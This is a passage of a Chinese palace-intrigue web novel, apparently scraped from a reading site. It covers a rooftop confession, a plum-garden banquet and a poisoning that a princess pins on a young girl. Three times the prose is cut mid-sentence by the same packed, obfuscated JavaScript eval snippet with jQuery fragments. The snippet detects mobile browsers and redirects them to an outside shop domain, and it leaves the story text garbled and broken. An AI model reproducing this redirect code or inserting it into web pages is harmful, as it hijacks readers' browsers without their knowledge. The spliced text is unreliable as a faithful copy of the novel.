这间宅院明明是府中第二华美之所，规制装饰俱全，怎么看也不像是下人所居。 以宗恂之身份，住在这里的是他才合情合理。 宗恂好心地解释：“那位婢女是长公主身边的新人，颇受器重。” 燕风脸上红云炸开：“你故意的！” “此话又从何说起啊？” 宗恂笑了笑，觉得她这副窘态倒是比平日冷静的模样更惹人怜爱，情不自禁往前一步，身形悄然逼近。 两人靠得极近了，宗恂才抬手朝不远处一座小院点了点。 “若镇抚使要找在下有事，不妨移步。那边才是我住的地方。” 燕风顺着他手指望去，只见那小院十分朴素，竟比她那间四十五两一年租来的凶宅还寒酸几分。 宗恂笑道：“就算要清算旧账，也是自家屋顶说话更自在些。” 他们又双双跃至那座偏院屋脊上坐下。 月色如水，夜风带着些微的寒意。 宗恂安静地坐在她旁边，离得极近，一条腿几乎贴着她的膝头。 燕风向来不拘小节，此时心跳却快得不受控制，仿佛方才屋内氤氲而出的热汽仍未散去，把人熏得头昏脑涨。 她急于想打破这让人发烫的沉默，脱口便问了句：“你怎么就住在这儿啊？” 话一出口，便觉不妥。 他从前就提过母亲和外祖母的冷待，她偏还要问，这不是明知故问，揭人伤疤么。 宗恂并未显出任何不悦，笑了笑：“这没什么。府里地方大，能住的多得是。我母亲并不在意这些，这是我自己选的。” “一是住惯了，二是也离得近些。” “近些？”燕风刚想接问，话到嘴边却又忽然顿住。 她蓦地想起自己租住的小宅，正好在公主府不远处。而这处院落，恰恰正对着那头，确实称得上最近。只是她今晚绕了条路，从别处而进来，才未曾经过。 念及此，她脸更红了几分，干脆扭头避开，岔开话题，说起这一个月的经历。 宗恂偏头望着她，眉眼温和，静静听她说。 这一个月简直是战战兢兢，连在江鱼面前都要做戏。 燕风也真是憋坏了，如今终于有人能听她倾诉，便越说越快，到最后都忍不住手舞足蹈。 说久了，喉咙有些干。她轻轻抿了下嘴。 宗恂一直看着她，自然捕捉到她的细微动作。像是早有准备，他从怀中取出一只小水壶递过去，笑道：“润润吧。” 燕风接过，也没多想，仰头喝了一口。 水还温着，口感清润，带着一缕淡淡茶香，喝下舒服极了。 她刚咽下，便听他低声道：“我在狱中也都略有耳闻，今日听你亲口说起，才知你确实不易。” 她手一顿，偏头看他，怪道：“你知道？谁告诉你的？罗同？” 一提起罗同，她就想起当初在北地时她那番威胁之语，顿时有点心虚。 “不是。”宗恂唇角含笑，“是迟三。他来找我，比罗同师父方便。” “迟三？” 燕风心里闪过一丝不详的预感：“他都说了什么？” 宗恂眼中闪过一丝促狭，默了片刻才悠悠开口。 “他说，我是你的小白脸。” “噗——！” 燕风一口水喷了出来，险些当场呛死。 她一边咳嗽一边在心里狂骂：迟三你个狗东西，嘴里还真吐不出象牙。 宗恂伸手极自然地为她拍背，又在她耳边轻语：“你这么大反应做什么，我又没觉得有什么不好。” 言语间，微暖的吐息便拂在她脸侧，带着一股清淡的茶香，同方才水壶中如出一辙。 她想装作若无其事，却觉浑身血气都往脸上冲，整张脸都要被煮熟了。只得‘腾’地站起来，扬手引来一阵北风，狠狠拍在自己面上，方觉舒爽了些许。 清醒了几分后，忽然想起家中还有双殷殷的眼睛在等她。不敢再转头看他，她便装作若无其事地清了清嗓子，正色道： “对了，将军，陈青如何了？说到底是我们连累了他，白白受了一个多月的牢狱之灾。你把他安置在哪儿了？江鱼原本还打算让他住我们宅子……现在想想，怕是也不妥了。” “我们”二字入耳，宗恂听得极是受用。 他终于移开那双像向阳花似的追着燕风转的眼睛，轻声笑道：“放心，这次我只是罪名不成，他却是立了功。过几日定有好前程等着他。现在嘛，他就歇在我这里。” 宗恂伸手指了指屋檐下，“就在你脚下这间。” 燕风一惊，竟就在脚下吗！她心里顿生一种‘被人当场捉奸’的羞耻感。 慌乱间差点站不稳，见宗恂伸手欲扶，她又连忙强撑住身子，‘嗖’地坐回原位。 宗恂面上神色突然变得落寞，他收回了落空的手，叹道：“我既知你所图，便早知会有这一日。” “此风波过后，咱们便是明面上的仇敌。往后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485559|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若在人前，再不可同从前那般说笑自如。” “还有”他眼神望向远处的楼宇，“我这处倒无甚牵挂，毕竟是男子，旁人左右不得我。可你……既重得了公主的位子，总归是要嫁人的。” “为你日后计，咱们，还是避嫌的好。” 燕风听着，脑中轰然一响，热血翻滚，怒气也随之上涌。 “你说这话什么意思？” 她盯住他，眼神灼灼：“谁做得了我的主？这公主的名头若没用处了，弃了便是，有什么可惜？我才不会嫁给旁人——” 话音未落，天地骤然颠倒。 那双原本盛满郁色的眼眸倏然逼近，瞳仁里星河璀璨。 在她怔忡的瞬息，忽有一触温凉，轻轻覆上唇瓣。 她没有推开。 于是来人便长驱直入。 他的手掌托住她后颈，带着温柔却不容抗拒的力道，将她一寸寸揽近。 燕风睁着眼，却什么都看不清。只听得胸腔里那颗心挣脱了桎梏，擂鼓般轰鸣。恍若烟花在灵台炸裂，星火顺着唇齿游走，烧灼每寸血肉。 月光潋滟，风声渐杳，唯有檐角铜铃轻颤，为此刻作无声见证。 两人的影子紧贴，倚在屋脊之上。 天地间只剩彼此交织的吐息与心跳。 * 正是睡得迷迷糊糊，江鱼忽觉房中多了一道光源在眼皮底下乱晃，照得她翻来覆去，睡不安稳。 半梦半醒间，她突然想起燕风几日前叫她务必小心的叮嘱，顿时一激灵，倏地睁开眼—— 房内果然不知何时点起了一盏小灯，一个人影背对着她，正伏在小桌前，借着灯火翻看什么。 江鱼心脏骤跳，捂着胸口就要尖叫。 那人似有感应，转过头来，冲她比了个噤声的手势。 不是别人，正是燕风。 江鱼顿时松了口气，劫后余生般靠回枕上。 定睛一看，却又被眼前的燕风吓了一跳：她眼下浮着青黑，眸光却灼灼；面色泛着不正常的红晕，尤其是唇瓣殷红欲滴竟像是肿了。 乍看像只索命的艳鬼。 “……你大半夜不睡觉，跑来我这儿做什么？”江鱼压着嗓子，忍不住埋怨道。 燕风手中册子又翻了一页，头也不抬。 “睡不着，来你这儿看看话本。” 江鱼瞪了她一眼：“叫你别喝那么多酒！我就没见过你这么能喝的。日夜颠倒的，能睡得着就怪了……” “等一下，我这能有什么话本？” “喏。” 燕风抬手一扬：“你什么时候会识字，还开始看书了？” 那册子封皮一亮，江鱼只觉全身的血都凝固了。 竟是自己压箱底的《春色秘言》！ 这下轮到江鱼心慌了。 她心里大叫：老大难不成全身上下长满了眼睛？怎么连这个也能找到！ 面上却只能讷讷狡辩：“不是你让我有空学学识字么？可你平时又没空教。我上回跟淑瑶出门，遇到个婆子神神秘秘地拿出十几本，说都是孤本。淑瑶……就和我一起挑了几本。有空的时候我们凑一块儿读，碰上不懂的字就抄下来，回去问她大哥。她家管得严，就先暂放在我这儿。你要是不允，我明日就还回去！” 一口气说完，江鱼额角已渗出细汗。 燕风却未细听，只在她提到“还回去”时抬了抬手，淡淡截断。“不必，不必。” 随即复又低头，灯火映得面庞更红。 她凝视着册页上的内容，若有所悟，轻声喃喃： “原来如此。” 54. 梅宴 二月初十，小雪初晴。 梅园小别院里，银丝炭烧得微红，窗缝里透进一缕梅香，与屋内的暖意搅在一处，叫人懒洋洋的。 妆台前，永宁公主对着雕花铜镜，指尖漫不经心地拨弄着肩上的流苏。 镜中映出她雪肌朱唇，织金羽缎衬得气质愈发华贵。婢女将她乌发绾成高髻，金钗才簪好，她已自顾伸手，在鬓边添了一枝腊梅，偏头端详片刻，这才满意地收回手。 忽有风声入檐，金铃叮当作响。门上锦帘被人一掀，乍然钻入几缕寒意。 来人正是永宁公主的胞妹，七公主。 她披银鼠裘披风，步履间透着张扬。进门后把貂裘随意扔在螺钿塌上，丝毫不在意皮毛的珍贵。 七公主几步走到妆台前，凝视镜中姐姐，带着几分揶揄笑道：“五姐，三哥不是才劝你出阁前少露头么？你倒好，摆这么一出赏梅，满城都知道了。” 永宁得意地欣赏铜镜中盛装的自己：“赏梅而已，怎就算露头？倒是你，等我出阁了，就轮到你撑场面了。好歹也学学规矩，下次再这么不打招呼就闯进来，可别怪我翻脸不认人。” 七公主“哼”了一声，坐到软墩上，端起茶盏抿了一口，忽然朝门外瞥去，冷笑：“魏大方脸的庶妹也来了。方才在回廊上，学着魏大方脸的腔调，冲我喊表姐。嗯哼，谁是她的表姐？脸皮厚得很。” 她放下茶盏，有些幸灾乐祸：“说起来，魏大方脸怎么还不回京？南边就那么好玩儿？再不回来，她这庶妹怕是要真骑到她头上去了。哈哈，我倒要等她回来，瞧她会用什么法子收拾这个没规矩的庶妹！” 永宁笑意微敛，取过绢子轻掩红唇：“你啊，别一口一个魏大方脸，魏芙表妹自己有名字。当心被姨母听到了，回头向母妃告状又要收拾你！” 七公主眼珠子一转，坏笑道：“不对啊。这外号是你起的吧？装好人？是不是又得罪人了？是魏大方脸还是姨母？说起来，我早觉得奇怪了。这几年魏大方脸去南边玩儿也就算了，怎么姨母也来得少了。你做的好事？” “胡说八道。”永宁语气里已带了几分怒意。 正此时，方才被差出去的小婢回来了，跪下通传了一长串名号，都是已到的京中贵女。 永宁还没说什么，七公主却在听到“福瑛长公主”的名号后，脸色倏然一沉：“你怎么把那个老妇也叫来了？真是晦气。” 永宁从铜镜里觑了她一眼，似笑非笑道：“你也说了，她是老妇。等我出阁，你便是京中最尊贵的美貌贵女，还怕个老妇抢你风头？” 她把“美貌”二字咬得极重。到底是一母同胞的亲姐妹，知道话锋该往哪里刺才最疼。 五公主永宁向来自负容色，亲妹妹七公主却不过清秀而已；而那位得称一声堂姑的福瑛长公主，虽年长数轮，多年来风姿不减，依旧是京城公认的第一绝色。 七公主被一语戳破心思，恼羞成怒，冷笑回嘴：“姐姐说的哪里话。那老妇纵然还有几分姿色，却怎比得了我年华正盛？倒是姐姐你，虽说这许多年婚事上总有些坎坷蹉跎，如今却真要嫁给徐家那个……” 她顿了顿，故意做出一副难以启齿的神情。 “——看样子，还是没忘了故人。不然，又怎会把人家母亲巴巴请来？” 永宁镜中双眸骤然一沉，指尖不觉攥紧了帕子。 然而不过一瞬，她便重新收拾好神情，轻笑道："妹妹今年也才不过十六，自然还小，不懂事。日后若你也要操持场面，自会明白其中利害，再不敢这般随性而为。" 七公主哪里听不出话中的讽刺，只是她也心知自己理亏在前，脸皮红了又紫，终究只狠狠瞪了姐姐一眼，衣袖一甩，风风火火地掀帘而去，又带起一阵冷风。 永宁眼皮子也未抬，仿佛什么也没发生，倒是随侍的老嬷眉眼愁结，欲言又止。 永宁瞧在眼里，淡淡道：“乳娘，有话便说。” 那老嬷是永宁的乳娘，亦是周贵妃做姑娘时从娘家带来的心腹，平日在外颇是作威作福，此时在主子面前却万分恭谨。 她迟疑片刻，才低声叹道：“什么都瞒不过殿下的眼睛。老奴是想着，七公主到底没坏心，只是年轻气盛，几句话说岔了，没得叫你们姐妹间生了隔阂。” 永宁闻言，冷笑一声：“她心里打的什么算盘，世上无人比我更清楚。小时候还算乖巧机灵，如今越发莽撞。偏偏母妃与哥哥都宠着她，若不时时敲打，迟早要无法无天。" 老嬷面上的忧色非但未解，反而更添几分。 永宁从铜镜中瞥见，神情一缓，抬手轻拂鬓边的腊梅，淡然道：“乳娘，我知你在担心什么。放心罢。我年少时确有几分糊涂，做过不合身份的事。可后来才晓得，世上俊俏少年郎千千万，恰如这梅园里的花一般孤零零的一朵开得再好又怎样，不顺我心意的，折了便是，反正还有这漫山遍野的一大片。” 说到此处，她眉眼微敛，幽幽续道：“至于我为何请长公主来，自有我的道理。” 老嬷眉心稍稍舒展，却仍忍不住道：“公主说得极是。不过，七公主方才的话也并非全无道理。您就快要出阁了，还是该少露面才好。京中眼红您的小姐太太们多得很，冷不丁就要有贱皮子在背地里给您使绊子，不得不防啊。” 永宁唇角倏地一弯，眸中掠过几分跃跃的兴味："不必多虑。" 她忽而想起什么，转头问那方才回来通传的小婢："你再说一遍，现下都有哪些人来了？" 小婢记性极好，又把长长一串名号数了一遍。 永宁听罢，沉思片刻，才淡淡道："也罢，都一样。" 纤指轻点铜镜，最后一次细细确认妆容。 镜中那张艳丽的面庞，令她心情大好。 她偏头望向乳母，朱唇微启，笑道："乳娘，你只管看戏便是。" * 再说七公主这头。 她气冲冲掀帘而出，冷风扑面卷来，走出几步，才觉肩头空落落的。 回神一看，银鼠裘披风竟落在了屋里！ 外头雪虽已停，天地间仍旧寒气逼人。 她站在院中，不一会儿就冻得面色泛白，手指亦被冷风吹得生疼。 回去取？ 她自恃身份，刚甩脸子走人，哪能再掉头回去？偏生出来得急，贴身丫鬟竟没带备用的披风。 随行的小婢慌了神，登时噗通一声跪在冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485560|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷的石板地上，哆嗦着，竟要解下自己身上的棉衣奉上：“公主恕罪，奴婢这就给您披上——” 话音未落，便被大宫女珍儿狠狠一巴掌掀倒在地，怒斥道：“混账！你那粗布棉衣也配沾公主玉体？不怕脏了殿下！” 小婢吓得泪眼婆娑，却一声也不敢再出。 珍儿自己也不敢怠慢，伏地请罪：“殿下，不若奴婢去向平日交好的几位小姐问问，看能不能借一件披风出来？” 七公主一张俏脸被冷风吹得发红，眼尾生寒，斜睨着这两个奴婢，正要发作—— 恰在此时，身后传来细碎的脚步声，一名宫女小心翼翼地捧着厚厚一叠衣裳追了过来。 “七公主殿下——” 七公主偏头一看，只一眼便认出，那正是自己方才落在屋内的银鼠裘披风。 再细细一瞧，来人面孔眼熟，似乎方才也伺候在永宁公主身边。 还是珍儿反应快，轻唤一声：“巧杏姑娘！” 巧杏快步上前，低眉顺眼恭恭敬敬地行过礼后，双手将银鼠裘呈上，恭谨道：“我们公主惦念七公主，特命奴婢送来。” 七公主心底一软，胸间的燥气也散了几分，面上神情亦随之缓和下来。 珍儿忙不迭起身，将银鼠裘小心翼翼披到主子肩头，柔声哄道：“还是永宁公主体贴我们殿下，殿下快暖和些了。” 七公主心里原也熨帖，却偏要抬着下巴，装出一副漫不经心的模样。 忽听梅园甬道里传来靴履踏雪的声响。 数名卫士疾步而至，步伐整齐，不若甲士般森冷，却自有一股磨砺出的利落与矫健。 为首一人风采尤盛，虽面甲遮容，那潇洒的身姿与不经意流露的风流气度，却依旧令人目不能移。 “咦？”她眯了眯眼：“那些是什么人？是姐姐的护卫吗？怎么从前没见过？怎么还有个带面甲的，神神秘秘的。” 巧杏顺着她的目光瞧了一眼，低低应道：“回禀殿下，那不是公主府的侍卫，而是北镇抚司的大人们。前头那位佩金面甲的，正是北镇抚使大人。” “北镇抚使？”七公主语气里多了几分兴味。 “这名号我听过。近来好像还常出入宫中，只是不巧，还未曾见过。今日倒是在姐姐这儿碰上了。珍儿，他是哪一家的？什么来历？” 珍儿踌躇片刻，才小心翼翼地答道：“奴婢也不知底细，只听说这位北镇抚使姓燕，单名一个风。据传并无什么世家倚仗。” 话音未落，那领头的燕风似有所觉，忽而抬手令队伍稍止，遥遥朝七公主端正一礼。 初晴的日光下，她面上戴着面具，只露出紧抿的唇角与如玉般冷峻的下颌，线条精致得如同神工雕琢。 然而最难以忽视的却是那股气度，似曾相识，又带着莫名的牵引，让人不由自主想要靠近。 七公主只觉心口忽地一颤，仿佛漏了一拍。 待那一行人重新启步远去，她方回过神来，脑中一个念头让她不自觉唇角勾起，然笑意中又不知为何多了几丝醋酸： “原来如此……” “我还以为是念着旧人。没想到，竟是另有了新欢，所以才这般坦然作态啊。" 55. 玉毒 梅园位于城南，南界紧邻景山。 相传前朝有位得宠妃子酷爱梅花，皇帝便特命人辟了此处。近百载春秋过去，梅木渐成荫蔽，枝影交错，汇成一片浩瀚广袤的梅林。林中腹地另辟一隅，精心营建，便是梅园。 此处因属内廷别苑，平日并不对外开放，唯有宫中贵女偶尔设宴，才会邀官宦女眷入内。能得一纸请柬，入园赏梅，也是京城闺秀们引以为荣的谈资。 园门素雅，不饰华彩。门后一道狭长甬道，曲折幽深，梅枝交错相迎。甬道尽头，天地豁然开阔，一座恢宏大亭映入眼帘，朱梁画栋，匾额题着"映梅亭"三字。自两翼延展出的抄手游廊蜿蜒环绕，如双臂舒展，将数十间精巧别致的小屋揽入怀中。 永宁公主方才在自用的雅室中略作整理，待时辰恰好，才在随从簇拥下袅袅而出。虽是姗姗来迟，但她步履仍不疾不徐，更显尊贵。 作为永宁请来的护卫，燕风早已将属下分散在园中各处，自己则守在她身侧不远。她自觉外男身份，便与女眷们保持着恰到好处的距离——既护得周全，又不至冒犯。此刻所立之处，恰好能远远望见映梅堂。距离不近，常人不足以听清贵女们的私语，合乎礼数。只是对于耳力绝佳的她而言，自是什么都听得一清二楚。 亭中早已珠翠纷呈，罗裙飘曳。众家贵女皆已到齐。 永宁的身影方现，亭内诸女纷纷起身敛袂行礼。唯独一抹银白身影稳稳端坐，不必问，也知是七公主。 永宁今日展现了难得的好脾气，对众贵女的寒暄一一耐心回应，与从前那骄矜恃宠的样子大不相同。亭中诸女皆是通透人精，自然顺势捧场，或献殷勤，或添笑语，气氛一时热闹非常。 其中一位少女尤为热情，一口一个"表姐"，刻意在众人面前显露自己与公主的亲厚。永宁也笑盈盈地伸手将她挽住，神态亲昵，仿佛真是骨肉至亲一般。旁人皆露艳羡之色，独七公主那眼神丝毫不加掩饰，白眼险些翻到天上去。 燕风也忍不住多看了那少女几眼。 做了几个月的北镇抚使，她对京中权贵的亲戚关系已是烂熟于心。永宁与七公主的生母周贵妃确有一嫡亲妹妹，嫁给了礼部尚书魏瑁清大人做正妻，膝下得了个女儿。不过那个女儿……似乎就是那个化名孙为做累累恶行，后来又在瓯水上被罗同一箭封喉的魏蓉。 那这位又是？ 正当燕风出神之时，原本热闹的映梅堂突然一静。 她下意识抬眼望去—— 亭口处缓缓而来数名衣饰整饬的侍女，簇拥着一位女子款款而入。 那女子身形曼妙修长，衣着却出奇素净，只一袭淡雅长裙，发间亦不过斜簪一支玉簪，不见半点金翠。然越是收敛，越衬得她天生丽质。素衣映肤，举止闲华，不靠繁饰，却生生压过满堂锦绣。 至于那面容，燕风隔得稍远，看得并不真切，然而那种天成的明艳，隔着距离，依旧摄人心魄。 她呼吸一滞—— 世间竟真有如此绝色？宛若天地灵秀，尽凝注于此一人而已。 堂中诸女皆屏声凝神，连衣袖摩挲的细响也被寂静吞没。 寂然片刻，还是永宁公主最先回过神来。她敛了目光，暗暗拉起身旁的七公主，行了极恭敬的晚辈礼： “永宁，问福瑛长公主安。” 众人如梦初醒，纷纷趋前行礼。 这便是福瑛长公主？ 宗谦的妻子，三年前那叠毒糕的源头。 念及此，她胸中翻涌，面具下的眼睛直勾勾地望向那个尊贵又危险的绝色佳人。不知是不是巧合，对方也恰好朝她的方向掠来一眼。 燕风微敛神色，不动声色地移开了视线，心下自嘲：竟也以貌取人了一回。 不远处，突然传来一个少女压低的惊叹："那就是那位长公主吗？可真美啊！" 燕风稍偏了偏头，是个候在不远处侍女打扮的女孩儿，不知是谁家带来的仆从。 “小声点，我的小祖宗，那可是贵人。当心被人听到了！”她身侧的婆子慌忙低声告诫。 燕风觉得有些好笑，看来又是个好扮作丫鬟的主子。 那小丫头撅了撅嘴，顺从地压低声音：“我又没说坏话嘛。” 只是没消停多久，她又忍不住悄声问：“永宁公主怎么把她请来了？难道真和传言一样，还惦记着宗家公子？那大哥怎么办……” 此话一出，燕风顿时明了。 永宁公主不久前被今上许给了徐家，开了春便要出阁。徐家乃世代簪缨的勋贵之族，这桩特例婚事由周贵妃促成、皇帝亲口准许，足见圣宠。只是永宁本人未必称心：未婚夫徐维翰固然出身不凡，幼年却曾大病一场，虽捡回性命，却自此肥胖臃肿，不良于行。 眼前这个小丫头，分明便是徐维翰的幼妹，只是不知为何偏要乔作婢女。 婆子脸色一紧，虚虚捂住她的嘴："小祖宗，话留回去再说。来时你叔母怎么嘱咐的？只许看看未来的嫂子，不许说，不许动。"待她点了头，这才松开手。 燕风无声笑了笑，不再理会，回头望向亭中。 方才还一派和谐的气氛，已然起了变化。 几声惊呼骤然传来，几个胆小的贵女连忙后退数步。 燕风顺势望去，一位小姐瘫软在椅上，脸色青白，不省人事。不是永宁，而是方才那个一直亲亲热热唤她“表姐”的小姐。 燕风下意识按住刀柄，正要上前，一眼瞥见永宁的神色，又迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485561|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑地停住了脚步。 果然，只听永宁威严十足地喊道：“快传太医！” 不一会儿，一个挎着医箱的白胡子老者快步进来，先向在座几位公主屈膝行礼，随即被催促上前。他取出红线搭在魏小姐腕上诊脉，又隔着丝帕翻了翻她的口眼。 须臾，他脸色骤变，陡然高声道：“不好！这是鸩毒啊！” 亭内瞬间一片死寂，随机炸开—— “鸩毒！” “这可是剧毒之物，魏小姐好端端的，怎会中毒？” “是啊，你说说，她今日都接触了些什么？” 被指到的魏府侍女早已吓傻了，涕泪横流，好半晌才结结巴巴道：“我……我家小姐一早梳洗完便出了门，因为新做的裙子没有放量，什么也不敢吃。也就……也就刚刚在这里吃了些糕点罢了。” 这答案令众人脊背发凉。有人急切追问是哪一道，话一出口，才觉察失言——此处可是永宁公主的席面啊。 "啊呀，五姐！" 七公主忽然大声道，"她刚才是不是吃了你的玉兔团！" 众人一怔，继而想起：永宁案前特置了一碟玉兔团，原是因她属兔，自幼宫宴必备，以示圣宠。在场大多数贵女都知道这规矩，唯独魏小姐初次赴宴，并不知晓。她夸那团子新奇可爱，永宁随手便赏了她一枚。 “天啊，这难道是冲着公主来的！”永宁身边的嬷嬷惊呼。 太医闻言，立刻从袖中掏出一根银针，探入玉兔团中。 众人眼皮子底下，银针抽出，针尖赫然已成乌黑。 “护驾！护驾！” 燕风心知是在唤自己，给属下使了个眼色，独自迈步入亭。 “燕镇抚使，今日是你值守，园中可有生人擅入？” 燕风拱手，不卑不亢道：“回禀公主，属下已派人守住各处。除了收邀的贵客，断无旁人能闯进园中。” 永宁神色沉静，点了点头。 “莫非是内鬼？”这话也只有七公主敢说了。 永宁公主身边另一个年长的侍女听了，立马跪下磕头：“禀公主，今日园中侍奉的都是府里可靠的老人，万不可能有差错的。退一万步，若是他们对公主真有异心，哪里用得到等到今日。” 此话也在理。 几个贵女反应过来：“李太医，我方才也吃了些糕点，还请验一验！” “是啊，也劳烦帮我看看！” 李太医逐一拿着银针验过，皆无异状，唯有那盘玉兔团给人动了手脚。 “看来是冲着五姐而来。”七公主道，“鸩毒虽不算稀世之物，寻常人却难得手。是谁这般大胆？” 此言一出，无异于指明：凶手，便在眼前众人之中。 56. 闹剧 众人神色各异。 有的面色惨白，闭口不语；有的则幸灾乐祸，用眼角暗暗打量旁人。 一个清婉却不乏威严的声音适时响起：“李太医，救人要紧。这位魏小姐怎样了？” 大家这才看向可怜的，正人事不知的魏小姐。 李太医尴尬地朝出言的福瑛长公主行了礼，躬身答道：“禀长公主，幸而所食不多。老臣已给她下了催吐药，只需多饮温水，当无性命之虞。” 福瑛长公主点头，命侍女将魏小姐送往自己的雅室歇息，李太医身边一个医童也随行诊视。 七公主只当没看到，继续道：“五姐，你可有什么头绪？” 永宁摇了摇头，目光落在了亭中佩刀而立的年轻人身上。 “燕镇抚使，你既在此，就劳你将下毒之人揪出吧。” 燕风心里叹了口气，恭敬应下，转身叫人将今日厨房里的人唤来回话。 片刻后，一个嬷嬷惶恐地跪在下首：“回禀各位公主，大人，夫人小姐。今日老奴守在厨房，一眼都没错开。” “从未离开？”七公主冷笑，“那岂不是你亲手下的毒？” 嬷嬷连连磕头：“七公主明鉴！奴婢只守着炉灶，糕点出了厨房，送往席间，便不由老奴看管了。” 燕风点了点头，又唤来今日端盘的侍女们。 十几个侍女齐刷刷跪在亭中央，还未等燕风开口，其中一人已开始哭嚎叩首：“奴婢该死！奴婢该死！玉兔团是奴婢端的。” “是你做的？” “不不不，奴才在路上遇到了一位夫人，行礼的功夫，便错开了眼。奴婢有罪，奴婢有罪。” “哦，那夫人是谁？”七公主插嘴，毫不掩饰她的兴奋。 “奴婢并不认识。” “那你看看，那位夫人此刻是否正在亭中？” 年轻的侍女微微抬起了头，磕破了皮的额头下，一双哭得有些发肿的眼睛一个一个扫过在场的贵女。那弱小又怯怯的视线此时成了催命的符咒，停留之处人人自危，一个个平日里目高于顶的夫人们，此时都不自觉露出些闪躲的神色。 “是……是她。” 符咒终于找到了自己的目标。 众人眼神齐齐扫去，对方是个面生又惊恐的妇人。 “这是哪家的？” “哐当”一声，那夫人吓得拂倒了手边的瓷碗，匆忙跪下。 “殿下，妾身……妾身是徐……礼部郎中徐进淮的妻子。” “礼部郎中？好像是个五品官。” “是啊，五品官。方才我就瞧着她眼生。她是怎么进来的？她也受了邀请？” 逃开了嫌疑的其他女眷们暗自宽心，忍不住开始窃窃私语，一句句都飘进了那徐夫人的耳朵里。 徐夫人脸色愈发涨红，羞惭欲死。 她原就是小吏家的女儿，当年费尽心思段拢住了高门子弟的心，可嫁过去才发现，在她面前风光伟岸的丈夫，在族里也似她一般暗淡。姓了徐又如何？丈夫到底不是嫡出。官场上呼风唤雨的是公爹和伯兄，姑子们一个一个十里红妆地嫁了出去。即便日常往来客客气气，但他们的言行举止，时时刻刻都露出一种疏离的态度，就像是在告诉她： 她，甚至她的丈夫，都是不配和他们一路的。 好不容易大嫂推辞了这场宴会，好不容易轮到她来，踏进这座连请柬都难求的园子，坐在这些真正的贵人中间，被人叫一声"夫人"…… 怎么就，怎么就又到了这般田地？ “夫人，可否请您说明？她所言是真是假？您可曾遇见过她？” 幸而那戴面具的大人语声沉静，将她从混乱中牵回。徐夫人回了神，眼含热泪，恳切地望向居于高首的永宁公主： “殿下。妾身在园中遇到了不少向妾身行礼的侍女，妾身并不记得其中是否有她。但妾身确然不是下毒之人啊！” 永宁漠然地扫过她一眼，并不答话。 而那告状的侍女却再度开口：“夫人忘了？方才正是您身边一名小侍女差点撞到奴婢，奴婢这才松了手。” 徐夫人猛然一怔，突然转头看向亭外—— 恰和另一双惊疑又稚嫩的眼神对上。 “是不是你？是不是你！” 她突然叫道，像是发了狂，吓了众人一跳。 燕风随着她的目光看去，亭外站着的，正是那个扮作仆从的小主子和她的嬷嬷。 “那个女孩看着怎么像是徐大小姐？” “是她，我年前刚在薛夫人的宴会上见过她，是徐大小姐不错，怎么这个打扮？” 十二岁的徐大小姐，因着兄长残疾，打小便是家里最金贵的那一个，要风得风，要雨得雨，从没有什么事是她开了口还办不成的。 母亲这回却不同寻常，不仅自己推了请帖，还死死压着她不许随行。她哪里肯信这个邪，悄悄去求了叔母，又立了一串保证，这才乔作侍女混了进来——左右不过是想亲眼瞧瞧，她那个痴肥的哥哥，究竟能聘回来一位什么样的公主？ 而此刻，她跪在亭中央，膝盖硌在地砖上，上首坐着的，正是那位传说中的未来嫂嫂。 永宁正似笑非笑地望着她，周围窃窃私语如浪潮将她淹没，更别提一向和颜悦色的叔母，此时目光中竟透出令她心怖的厉色。 徐大小姐平生第一次感到后悔。 永宁居高临下，冷冷打量她一眼，幽幽开口：“是你做的？” 那张本就有些长的脸上，此刻朱唇开合宛若毒蛇吐信。 燕风闻言，面具下眉头一蹙，而徐小姐已然泣不成声，只能拼命摇头，半句话也说不出。 这压抑的哭声终于让徐夫人清醒过来：不论徐锦柔在家中多么骄纵，她终究只是个十二岁的孩子，既无胆量，更无动机做出如此可怖之事。 这一定是误会，甚至是那可恶侍女的诬陷！ 她刚要开口分辩，却见永宁公主冷冷瞥了她一眼，随即又厉声吩咐嬷嬷搜身。那嬷嬷显露出惊人的气势和效率，一套行云流水的动作，已经从徐锦柔身上摸出了一个香囊。李太医立刻凑上，嗅闻片刻，便断言这便是那玉兔团中鸩毒的来历！ 徐夫人心头骤然一凉，一个可怕的念头呼之欲出，几乎令她昏厥。 这念头并非她一人的猜想。 永宁太过心急，得手后的喜悦又未加掩饰，反倒让整场嫁祸显得拙劣，甚至是滑稽。 亭中静得出奇。燕风扫了一圈在场诸人：有人垂下眼睫，有人望向了别处，福瑛长公主亦神情淡然，不知在望着哪处梅枝出神。 这沉默本身，便已是答案。 燕风心底冷笑：拙劣又如何？权势压人，众口缄默。今日之后，在场所有人，便都成了人证！ 